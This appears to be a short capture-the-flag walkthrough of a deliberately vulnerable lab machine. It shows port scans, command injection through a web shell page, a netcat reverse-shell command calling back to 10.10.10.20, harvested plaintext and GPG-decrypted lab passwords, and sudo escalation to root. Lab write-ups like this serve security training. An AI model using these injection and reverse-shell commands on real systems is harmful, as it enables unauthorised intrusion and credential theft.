COMMAND EXECUTION USING &&

GPG DECODE FILE

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5b

80/tcp open http Apache httpd 2.4.25 ((Debian))

| http-robots.txt: 4 disallowed entries

| /login.php /dev_shell.php /lat_memo.html

|_/passwords.html

|_http-server-header: Apache/2.4.25 (Debian)

|_http-title: Site doesn't have a title (text/html).

PORT STATE SERVICE VERSION

25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)

| ssh-hostkey:

| 2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA)

| 256 5b:98:c7:4f:84:6e:fd:56:6a:35:16:83:aa:9c:ea:f8 (ECDSA)

|_ 256 39:16:56:fb:4e:0f:50:85:40:d3:53:22:41:43:38:15 (ED25519)

http://bob/dev_shell.php

echo&&id

echo&&nc -e /bin/sh 10.10.10.20 1234

nc –nlvp 1234

SHELL GAINED!!!!!

www-data@Milburg-High:/var/www/html$ sudo –l

User www-data may run the following commands on Milburg-High:

(ALL) NOPASSWD: /usr/bin/service apache2 *

(root) NOPASSWD: /bin/systemctl start ssh

www-data@Milburg-High:/home/bob$ cat .old_passwordfile.html

<html>

<p>

jc:Qwerty

seb:T1tanium_Pa$$word_Hack3rs_Fear_M3

</p>

</html>

Here$ cat notes.sh gh:/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_H

#!/bin/bash

clear

echo "-= Notes =-"

echo "Harry Potter is my faviorite"

echo "Are you the real me?"

echo "Right, I'm ordering pizza this is going nowhere"

echo "People just don't get me"

echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>"

echo "Cucumber"

echo "Rest now your eyes are sleepy"

echo "Are you gonna stop reading this yet?"

echo "Time to fix the server"

echo "Everyone is annoying"

echo "Sticky notes gotta buy em"

www-data@Milburg-High:/home/elliot$ cat theadminisdumb.txt

The admin is dumb,

In fact everyone in the IT dept is pretty bad but I can't blame all of them the newbies Sebastian and James are quite new to managing a server so I can forgive them for that password file they made on the server. But the admin now he's quite something. Thinks he knows more than everyone else in the dept, he always yells at Sebastian and James now they do some dumb stuff but their new and this is just a high-school server who cares, the only people that would try and hack into this are script kiddies. His wallpaper policy also is redundant, why do we need custom wallpapers that doesn't do anything. I have been suggesting time and time again to Bob ways we could improve the security since he "cares" about it so much but he just yells at me and says I don't know what i'm doing. Sebastian has noticed and I gave him some tips on better securing his account, I can't say the same for his friend James who doesn't care and made his password: Qwerty. To be honest James isn't the worst bob is his stupid web shell has issues and I keep telling him what he needs to patch but he doesn't care about what I have to say. it's only a matter of time before it's broken into so because of this I have changed my password to

theadminisdumb

I hope bob is fired after the future second breach because of his incompetence. I almost want to fix it myself but at the same time it doesn't affect me if they get breached, I get paid, he gets fired it's a good time

```
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg

gpg: keybox '/home/seb/.gnupg/pubring.kbx' created

gpg: AES encrypted data

gpg: encrypted with 1 passphrase

bob:b0bcat_

bob@Milburg-High:~/Documents$ sudo -l

[sudo] password for bob:

Matching Defaults entries for bob on Milburg-High:

    env_reset, mail_badpass,

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin


User bob may run the following commands on Milburg-High:

    (ALL : ALL) ALL

bob@Milburg-High:~/Documents$ sudo su

root@Milburg-High:/home/bob/Documents#
```